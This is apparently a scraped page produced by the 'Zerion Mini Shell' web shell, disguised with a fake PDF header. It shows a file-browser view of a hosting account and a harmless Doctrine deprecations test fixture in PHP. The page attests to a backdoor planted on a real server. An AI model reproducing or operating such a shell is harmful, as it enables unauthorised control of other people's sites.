%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/graphicd/www/vebto/vendor/doctrine/deprecations/test_fixtures/vendor/doctrine/foo/
Upload File :
Create Path :
Current File : /home/graphicd/www/vebto/vendor/doctrine/deprecations/test_fixtures/vendor/doctrine/foo/Bar.php

<?php

declare(strict_types=1);

namespace Doctrine\Foo;

use Doctrine\Deprecations\Deprecation;

class Bar
{
    public function oldFunc(): void
    {
        Deprecation::triggerIfCalledFromOutside(
            'doctrine/foo',
            'https://github.com/doctrine/foo',
            'Bar::oldFunc() is deprecated, use Bar::newFunc() instead.'
        );
    }

    public function newFunc(): void
    {
        $this->oldFunc();
    }
}

Zerion Mini Shell 1.0